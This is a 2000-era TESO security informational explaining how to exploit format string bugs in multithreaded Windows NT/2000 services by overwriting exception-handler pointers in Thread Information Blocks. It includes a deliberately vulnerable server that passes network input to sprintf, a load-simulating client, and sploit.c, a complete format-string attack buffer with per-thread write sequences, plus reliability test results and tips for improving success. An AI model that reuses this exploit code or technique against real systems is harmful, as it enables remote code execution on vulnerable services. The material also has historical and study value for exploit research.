path: root/informationals/teso-i0034.txt

0034 2001/02/25  advanced way to more reliably exploit NT format bugs remotely
==== TESO Informational =======================================================
This piece of information is to be kept confidential.
===============================================================================

Description ..........: way of getting control with format string bugs 
Date .................: 2000/12/28 06:00
Author ...............: halvar
Publicity level ......: unknown
Affected .............: NT/Win32 specific
Type of entity .......: NT internals
Type of discovery ....: useful information
Severity/Importance ..: n/a
Found by .............: halvar

===============================================================================

We all know and love format string bugs. Especially on closed-source platforms,
then can still be found in large numbers. Unfortunately, the really interesting
affected programs under NT run multi-threaded, making it relatively hard to
reliably get execution under our control as we cannot overwrite addresses on
the stack. Under Win2k, a watchdog will restart the service once it dies, so
if we are first to connect to it after the restart we can reliably guess what
to overwrite. Under NT, no watchdog is around, so you have only one shot to 
get control. 

Now, the other choice that we have is an import table overwrite, which will not
always work either as apparently many compilers set the import address table 
inside the code section, making it a read-only page once it has been filled by
the OS. Writing to it will result in a GPF.

This informational will play around with a new cool way of getting control of
our thread by a yet-unknown technique called "TIB Exception Structure 
Overwrite" (TESO) :-P.

In my last informational (0033) I described a way to walk from the pointer at
fs:[0] through the exception structures until I have found a function inside
KERNEL32.DLL. This time, I will play with structured exception handling again,
so it is a good idea to have absorbed some information from the last informat-
ional. 

Every thread that is created has a structure called "Thread Information Block"
(TIB) mapped at fs:[0]. (Some people call it "Thread Exception Block", and the
Wine project has a pretty good/slightly errant documentation of it in thread.h)
The first DWORD of this structure is a pointer to an __EXCEPTION_FRAME 
structure, which consists of two pointers: One to the next
__EXCEPTION_FRAME, and one to the function that is supposed to
handle any exception that occurs. Now, the trick is to create a fake exception
handling structure in memory and then to overwrite as many TIB entries as we
can until we trigger an exception. When that exception is triggered, our fake
exception handling structure will lead to control being transferred to the 
code we pointed to in our structure.

What we have to do in our format string is:

1. Create a fake exception handling structure somewhere in memory. This 
means we either have to know an address at which a pointer to a buffer we
control lies or we have to write a pointer to a buffer we control into 
memory at some point.

2. Start overwriting TIB's, starting with the first thread, then the second
etc. until there are no more threads and our attempts to write to a nonpaged
section of memory will lead to an exception.

3. The exception will transfer control to our exceptionhandler (the buffer
we control) in which we can then execute code.

Problem Nr 1: We cannot write to any location outside of our current data 
segment, how the hell are we going to write to fs:[0] ?

Answer: The TIB is mapped into the data/code segment as well, at an address
pointed to by fs:[0x18]. I ran a few tests on a few systems from NT4 SP5 up
to Win2k SP1 and one could foresee certain regularities between all these
systems that allow us to reliably tell where the TIB of a certain thread
will be in regular memory.
The regularity in TIB allocation follows here: 
The first thread of an application always has his TIB mapped at 0x7FFDE000,
and up until the 11th thread (which lies at 0x7FFD4000) we have single page
decrements from the initial value (-0x1000). Then we have a rather odd gap,
and the 12th threads TIB will be located at 0x7FFAF000. All subsequent 
threads will have their TIB allocated sequentally with (-0x1000) difference
from here on, up until thread 250 where I stopped testing :-)

Problem Nr 2: We cannot easily write to addresses containing NULL bytes,
and we cannot assure that the location (TIB)-1 will be paged. 
What can we do here ?

Answer: Not much. This is one of the major drawbacks of this approach.
The problem lies in a form of memory fragmentation that occurs like this:
Several threads are created, and their TIBs are paged into the CS/DS acc-
ording to the rules outlined before. Now, some of these threads will exit
again and their respective TIB-pages will be freed; this can lead to 
a memory layout somewhat like this:

[0x7FFDE000 -- paged]
[0x7FFDD000 -- nonpaged]
[0x7FFDC000 -- nonpaged]
[0x7FFDB000 -- paged]
[0x7FFDA000 -- paged]
[0x7FFD9000 ... nonpaged from here on]

Now we can see that we get into trouble as we will trigger an exception
after having overwritten the first exception handler, without touching 
the other two handlers we would need to overwrite.

Now the trick is that as soon as new threads are created, their TIBs are
paged into these gaps. So what we can do is to create our thread that
will execute the format string bug, and then, before we actually execute
the vulnerable code, create a lot of arbitrary threads, hopefully enough
to fill all gaps. We can then sequentally overwrite the exception handlers
and trigger an exception to gain control.

Problem Nr 3: 
While experimenting with exceptionhandlers for a while I found out that
apparently NT wants the pointer at fs:[0] to point somewhere between the
"stack bottom" and the "stack top" of the offending thread. 
(For those interested, that validation happens in a function called 
RtlDispatchException() which is a called by KiUserExceptionDispatcher)
If the pointer points elsewhere the user-installed exception handler will
not be called; an exception called EXCEPTION_INVALID_DISPOSITION will be
raised instead.

Answer:
Since we clearly cannot write an EXCEPTION_FRAME for each thread into its
stack region we need a different solution. Looking at thread.h from the
WINE project, we can see that the stack_top and stack_low variables are
stored at fs:[4] and fs:[8] respectively. Now this implies that we can 
easily alter the range in which our EXCEPTION_FRAME can be created. So 
what we'll need to do in addition to overwriting the pointer at fs:[0] is
to overwrite the stack_top variables high-order byte with 0x7F, thus mak-
ing sure that we pass the tests inside RtlDispatchException and praying 
that we don't fuck anything up so badly that it'll crash NT :)
The EXCEPTION_FRAME has to be created somewhere above stack_low in memory
then. For my example, I will construct it inside MSVCRT.DLL's data segment.

Here follows the code (I compiled stuff with BC++; I am not sure how stuff 
looks when a different compiler works his magic, so you'll probably need
some tweaking.):

---- snip ---- lameserver.c -------
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winsock.h>

unsigned long __stdcall NewThread(void *singlearg)
{
        int     sock, blah;
        char    lame2[5000],lame[3000];
        
        sock = (int)singlearg;
        blah = recv(sock, lame, sizeof(lame)-1, 0);
        if(blah != -1)
        {
                lame[blah] = 0;         // NULL-terminate
                sprintf(lame2, lame);   
                printf("%s\n", lame2);
        }

        send(sock, lame2, strlen(lame2), 0);
        Sleep(500);
        closesocket(sock);
        ExitThread(1);
}

int main(int argc, char **argv)
{
        WSADATA WSAdat;
        struct  sockaddr_in Host;
        int     idThread;
        SOCKET  sock1;
        
        WSAStartup(0x101, &WSAdat);     // Startup the sockets interface
        Host.sin_family = AF_INET;
        Host.sin_addr.s_addr = 0;
        Host.sin_port = htons(999);
        sock1 = socket(AF_INET, SOCK_STREAM, 0);
        bind(sock1, (struct sockaddr *)&Host, sizeof(struct sockaddr_in));
        while(1)
        {
                listen(sock1, 0x3);
                printf("Waiting for connection\n");
                CreateThread(NULL, 0, &NewThread, (void *)accept(sock1, NULL, NULL), 0, &idThread);        
        }
}
----- snip ---- lameserver.c EOF

The server will wait for an incoming connection and spawn a new thread. For each
connection the thread will read a string from the network, feed it into sprintf()
to create something format-string-buggish and then echo it back to the client. It
will then disconnect and kill the thread it just created.

----- snip ---- lameclient.c --------
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winsock.h>

#define MAX_THREAD_NORMAL       20
#define MAX_THREAD_LINGER       10

int     ThreadCount = MAX_THREAD_NORMAL;
int     ThreadLinger = MAX_THREAD_LINGER;

void    NewThread(void *singlearg)
{
        int     sock, iLinger;
        struct  sockaddr_in Host;
        unsigned long   rndval;
        
        iLinger = 0;    // zero the var
        
        if((GetTickCount() & 0xF) > 13)  // set a certain frequency for lingering
        {                               // connections
                Sleep(0);
                if(ThreadLinger > 0)
                {
                        ThreadLinger--;
                        rndval = 0xFFFF;
                        iLinger = 1;    // set iLinger to TRUE
                }
        }
        
        if(iLinger == 0)
        {
                Sleep(0);
                rndval = GetTickCount() & 0xFF;
                Sleep(0);
                rndval *= (GetTickCount() & 0x7F);
        }
        printf("[%lx] Connecting with a wait time of %ld ms -- ThreadCount is %ld    \n", singlearg, rndval, MAX_THREAD_NORMAL-ThreadCount-1);
                                
        sock = socket(AF_INET, SOCK_STREAM, 0);
        Host.sin_family = AF_INET;
        Host.sin_addr.s_addr = 0x0100007F;      // 127.0.0.1
        Host.sin_port = htons(999);
        
        connect(sock, (struct sockaddr *)&Host, sizeof(Host));
        Sleep(rndval);
        printf("[%lx] Exiting...\n", singlearg);
        closesocket(sock);
        ThreadCount++;
        if(iLinger)
                ThreadLinger++;
                
        ExitThread(0);
}

int main(int argc, char **argv)
{
        WSADATA wsaDat;
        int     idThread;
        
        idThread = 0;
        
        WSAStartup(0x101, &wsaDat);
        while(1)
        {
                if(ThreadCount > 0)
                {
                        ThreadCount--;        
                        Sleep(GetTickCount() & 0x3FF);
                        CreateThread(NULL, 0, &NewThread, (void *)idThread, 0, &idThread);
                }
                else
                        Sleep(GetTickCount() & 0x3FFF);
        }
}
----- snip ---- lameclient.c EOF

This lame piece of crap multithreaded client will create a bunch of threads
which will connect to our lame server, keep a connection open for a certain
random time and then close the connection again. A few lingering connections
are around that take a bit longer to finish. As soon as the maximum number
of threads is reached, the client will pause for a while, letting a bunch of
threads die again. This is pretty good to simulate the fragmentation in 
memory in case the connection count on the server is receding. 
An example of fragmented memory just after the connection count dropped from
29 to 17 is here:

001B:7FFDE000 0012FD50  00130000  0012E000  00000000      P...............
001B:7FFDD000 0538FFDC  05390000  0538F000  00000000      ..8...9...8.....
001B:7FFDC000 00E8FBF8  00E90000  00E8F000  00000000      ................
001B:7FFDB000 00F8FBF8  00F90000  00F8F000  00000000      ................
001B:7FFDA000 ????????  ????????  ????????  ????????      fragmented :-)
001B:7FFD9000 0168FBF8  01690000  0168F000  00000000      ..h...i...h.....
001B:7FFD8000 0178FBF8  01790000  0178F000  00000000      ..x...y...x.....
001B:7FFD7000 ????????  ????????  ????????  ????????      fragmented :-)
001B:7FFD6000 04C8FBF8  04C90000  04C8F000  00000000      ................
001B:7FFD5000 0398FBF8  03990000  0398F000  00000000      ................
001B:7FFD4000 0438FBF8  04390000  0438F000  00000000      ..8...9...8.....
001B:7FFAF000 ????????  ????????  ????????  ????????      fragmented :-)
001B:7FFAE000 0208FBF8  02090000  0208F000  00000000      ................
001B:7FFAD000 0218FBF8  02190000  0218F000  00000000      ................
001B:7FFAC000 ????????  ????????  ????????  ????????      fragmented :-)
001B:7FFAB000 ????????  ????????  ????????  ????????      fragmented :-)
001B:7FFAA000 0308FBF8  03090000  0308F000  00000000      ................
001B:7FFA9000 ????????  ????????  ????????  ????????      fragmented :-)
001B:7FFA8000 0318FBF8  03190000  0318F000  00000000      ................
001B:7FFA7000 ????????  ????????  ????????  ????????      fragmented :-)
001B:7FFA6000 ????????  ????????  ????????  ????????      fragmented :-)
001B:7FFA5000 04D8FBF8  04D90000  04D8F000  00000000      ................
001B:7FFA4000 ????????  ????????  ????????  ????????      fragmented :-)
001B:7FFA3000 04A8FBF8  04A90000  04A8F000  00000000      ................
001B:7FFA2000 0528FBF8  05290000  0528F000  00000000      ................
001B:7FFA1000 04B8FBF8  04B90000  04B8F000  00000000      ................

Now, what our exploit needs to do is:

1. Connect to the server to create a thread that will later send the
format string.
2. Connect to the server with a bunch of more threads to fill in as many
gaps as possible to "defragment" the memory.
3. The first created thread will now start to write to the exception 
handlers and then trigger an exception. In order to pass the checks inside
KiUserExceptionDispatcher() we have to overwrite the highest-order byte
of the stack_top variable located at fs:7 as well.

The code for this follows right here :)

---- snip --- sploit.c
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winsock.h>

/*
What we want to do with the format string is this:
Write 0x78038010 to location 0x78038004; then write an INT3 to 0x78038010,
then write 0x78038000 to the exception handlers until we hit an exception...
*/


unsigned char szAttackBuffer[] = {
"\x04\x80\x03\x78%12c%n  "              // Create ptr to our code
"\x05\x80\x03\x78%c%105c%n   "
"\x06\x80\x03\x78%.f%123c%n  "
"\x07\x80\x03\x78%.f%65c%n   "

"\x10\x80\x03\x78%.f%76c%n%51c%.f"      // Create a single 0xCC as "payload"

//--- First Thread
"\x07\xE0\xFD\x7F%123c%n%c%c "          // set the stack top to 0x7F120000 ;>
"\x01\xE0\xFD\x7F%250c%n "              // write 0x80 to byte 2 of xcpt frame *
"\x02\xE0\xFD\x7F%125c%c%n%c "          // write 0x03 to byte 3 of xcpt frame * 
"\x03\xE0\xFD\x7F%c%110c%n%.f"          // write 0x78 to byte 4
"\xFD\xDF\xFD\x7F%c%n%128c%c "          // write 0x00 to byte 1 and pad to 00
//--- Second Thread                      
"\x07\xD0\xFD\x7F%123c%n%c%c "          // set stack top to 0x7Fxxxxxx :)
"\x01\xD0\xFD\x7F%250c%n "              // write 0x80 to byte 2        
"\x02\xD0\xFD\x7F%125c%c%n%c "          // write 0x03 to byte 3
"\x03\xD0\xFD\x7F%c%110c%n%.f"          // write 0x78 to byte 4
"\xFD\xCF\xFD\x7F%c%n%128c%c "          // write 0x00 to byte 1 and pad to 00        
//--- Third Thread
"\x07\xC0\xFD\x7F%123c%n%c%c "          // set stack top to 0x7Fxxxxxx :)
"\x01\xC0\xFD\x7F%250c%n "              // write 0x80 to byte 2        
"\x02\xC0\xFD\x7F%125c%c%n%c "          // write 0x03 to byte 3
"\x03\xC0\xFD\x7F%c%110c%n%.f"          // write 0x78 to byte 4
"\xFD\xBF\xFD\x7F%c%n%128c%c "          // write 0x00 to byte 1 and pad to 00        
//--- Fourth Thread
"\x07\xB0\xFD\x7F%123c%n%c%c "          // set stack top to 0x7Fxxxxxx :)
"\x01\xB0\xFD\x7F%250c%n "              // write 0x80 to byte 2        
"\x02\xB0\xFD\x7F%125c%c%n%c "          // write 0x03 to byte 3
"\x03\xB0\xFD\x7F%c%110c%n%.f"          // write 0x78 to byte 4
"\xFD\xAF\xFD\x7F%c%n%128c%c "          // write 0x00 to byte 1 and pad to 00        
//--- Fifth Thread
"\x07\xA0\xFD\x7F%123c%n%c%c "          // set stack top to 0x7Fxxxxxx :)
"\x01\xA0\xFD\x7F%250c%n "              // write 0x80 to byte 2        
"\x02\xA0\xFD\x7F%125c%c%n%c "          // write 0x03 to byte 3
"\x03\xA0\xFD\x7F%c%110c%n%.f"          // write 0x78 to byte 4
"\xFD\x9F\xFD\x7F%c%n%128c%c "          // write 0x00 to byte 1 and pad to 00        
//--- Sixth Thread
"\x07\x90\xFD\x7F%123c%n%c%c "          // set stack top to 0x7Fxxxxxx :)
"\x01\x90\xFD\x7F%250c%n "              // write 0x80 to byte 2        
"\x02\x90\xFD\x7F%125c%c%n%c "          // write 0x03 to byte 3
"\x03\x90\xFD\x7F%c%110c%n%.f"          // write 0x78 to byte 4
"\xFD\x8F\xFD\x7F%c%n%128c%c "          // write 0x00 to byte 1 and pad to 00        
//--- Seventh Thread
"\x07\x80\xFD\x7F%123c%n%c%c "          // set stack top to 0x7Fxxxxxx :)
"\x01\x80\xFD\x7F%250c%n "              // write 0x80 to byte 2        
"\x02\x80\xFD\x7F%125c%c%n%c "          // write 0x03 to byte 3
"\x03\x80\xFD\x7F%c%110c%n%.f"          // write 0x78 to byte 4
"\xFD\x7F\xFD\x7F%c%n%128c%c "          // write 0x00 to byte 1 and pad to 00        
//--- Eight Thread
"\x07\x70\xFD\x7F%123c%n%c%c "          // set stack top to 0x7Fxxxxxx :)
"\x01\x70\xFD\x7F%250c%n "              // write 0x80 to byte 2        
"\x02\x70\xFD\x7F%125c%c%n%c "          // write 0x03 to byte 3
"\x03\x70\xFD\x7F%c%110c%n%.f"          // write 0x78 to byte 4
"\xFD\x6F\xFD\x7F%c%n%128c%c "          // write 0x00 to byte 1 and pad to 00        
//--- Ninth Thread
"\x07\x60\xFD\x7F%123c%n%c%c "          // set stack top to 0x7Fxxxxxx :)
"\x01\x60\xFD\x7F%250c%n "              // write 0x80 to byte 2        
"\x02\x60\xFD\x7F%125c%c%n%c "          // write 0x03 to byte 3
"\x03\x60\xFD\x7F%c%110c%n%.f"          // write 0x78 to byte 4
"\xFD\x5F\xFD\x7F%c%n%128c%c "          // write 0x00 to byte 1 and pad to 00        
//--- Tenth Thread
"\x07\x50\xFD\x7F%123c%n%c%c "          // set stack top to 0x7Fxxxxxx :)
"\x01\x50\xFD\x7F%250c%n "              // write 0x80 to byte 2        
"\x02\x50\xFD\x7F%125c%c%n%c "          // write 0x03 to byte 3
"\x03\x50\xFD\x7F%c%110c%n%.f"          // write 0x78 to byte 4
"\xFD\x4F\xFD\x7F%c%n%128c%c "          // write 0x00 to byte 1 and pad to 00        
//--- Eleventh Thread
"\x07\x40\xFD\x7F%123c%n%c%c "          // set stack top to 0x7Fxxxxxx :)
"\x01\x40\xFD\x7F%250c%n "              // write 0x80 to byte 2        
"\x02\x40\xFD\x7F%125c%c%n%c "          // write 0x03 to byte 3
"\x03\x40\xFD\x7F%c%110c%n%.f"          // write 0x78 to byte 4
"\xFD\x3F\xFD\x7F%c%n%n"      // write 0x00 to byte 1 and trigger xception
};

int main(int argc, char **argv)
{
        WSADATA wsaDat;
        struct  sockaddr_in Host;
        int     sock, socks[10], i;
                
        WSAStartup(0x101, &wsaDat);
        
        Host.sin_family = AF_INET;
        Host.sin_addr.s_addr = 0x0100007F;
        Host.sin_port = htons(999);
        
        sock = socket(AF_INET, SOCK_STREAM, 0);
        connect(sock, (struct sockaddr *)&Host, sizeof(Host));  // create attack 
                                                                // thread
        for(i = 1; i < 11; i++)
        {
                socks[i] = socket(AF_INET,SOCK_STREAM, 0);
                connect(socks[i], (struct sockaddr *)&Host, sizeof(Host));
        }
        Sleep(50);
        send(sock, szAttackBuffer, strlen(szAttackBuffer), 0);
}
----- snip --- sploit.c EOF

Now, we run into a few small limitations of our compilers snprintf()-function,
apparently the runtime of BC++ will not allow us to have too long output, so
we cannot overwrite more than 10 exception handlers in the current setup.
(This number can be optimized by choosing better addresses for the EXCEPTION_
FRAME structure and by optimizing the writing process where possible).
Therefore, under really heavy load (dozens of threads active at one time)
one might want to create multiple threads which overwrite different subsets
of the TIBs a time. This is up to the attackers creativity, I am not going
to play through every possible situation here.

Testrun: The above examples were used for 11 trial runs (don't ask why).
(Remember, 10 of the threads in the process are _our_ threads, so de-facto 
load of the server without our intervention is the value in brackets)

Try No #1    Threads in Process    Address of thread TIB    Status ?     
   1                19(9)              0x7FFDD000           SUCCESS
   2                21(11)             0x7FFDC000           SUCCESS
   3                28(18)             0x7FFDD000           SUCCESS 
   4                27(17)             0x7FFD5000           SUCCESS
   5                18(8)              0x7FFDD000           SUCCESS
   6                29(19)             0x7FFA6000           FAILURE
   7                24(14)             0x7FFDB000           SUCCESS
   8                27(17)             0x7FFD6000           SUCCESS
   9                31(21)             0x7FFA7000           FAILURE
  10                30(20)             0x7FFA6000           FAILURE
  11                25(15)             0x7FFD6000           SUCCESS

Now, for a server with a load between 8-21 threads (as the example program
lameserver.c and lameclient.c create) the example exploit will yield decent
results with an exploitation reliability of about 72%. (Yes I know I need
more test results to make reliable assumptions about reliability ! :)

The fun part is that
this will work against any SP of NT/2k known to me and will even work if the
binaries in memory are different from those expected in the exploit (assuming
the writable area where we create the EXCEPTION_FRAME stays writable).
In fact you have to know very little in order to have a pretty decent proba-
bility of succeeding. But keep in mind its only a propability, and this is
not the nice 80's style single-thread process-only exploitation most people
are used to.

Possible ways to improve the probability for success (up to the reader to
actually try out :)
1. Try to use multiple threads to overwrite a larger number of EXCEPTION_FRAME
pointers and keeping the thread alive afterwards.
2. The worse the memory is fragmented, the better our chances to get our main
exploiting thread to be among the first 10 in memory. So creating memory frag-
mentation works for us -- try creating a heavy server load with 30-40 threads,
then let them all die quickly. Connect immediately afterwards with the main
exploiting thread.

Ok, Tuesday night, 3 o'clock in the morning. Time for bed. Stay tooned for my
next informational presenting yet another leeto Win32 fmt bug exploitation 
technique: UEFA (Unhandled Exception Filter Attack) :)

===============================================================================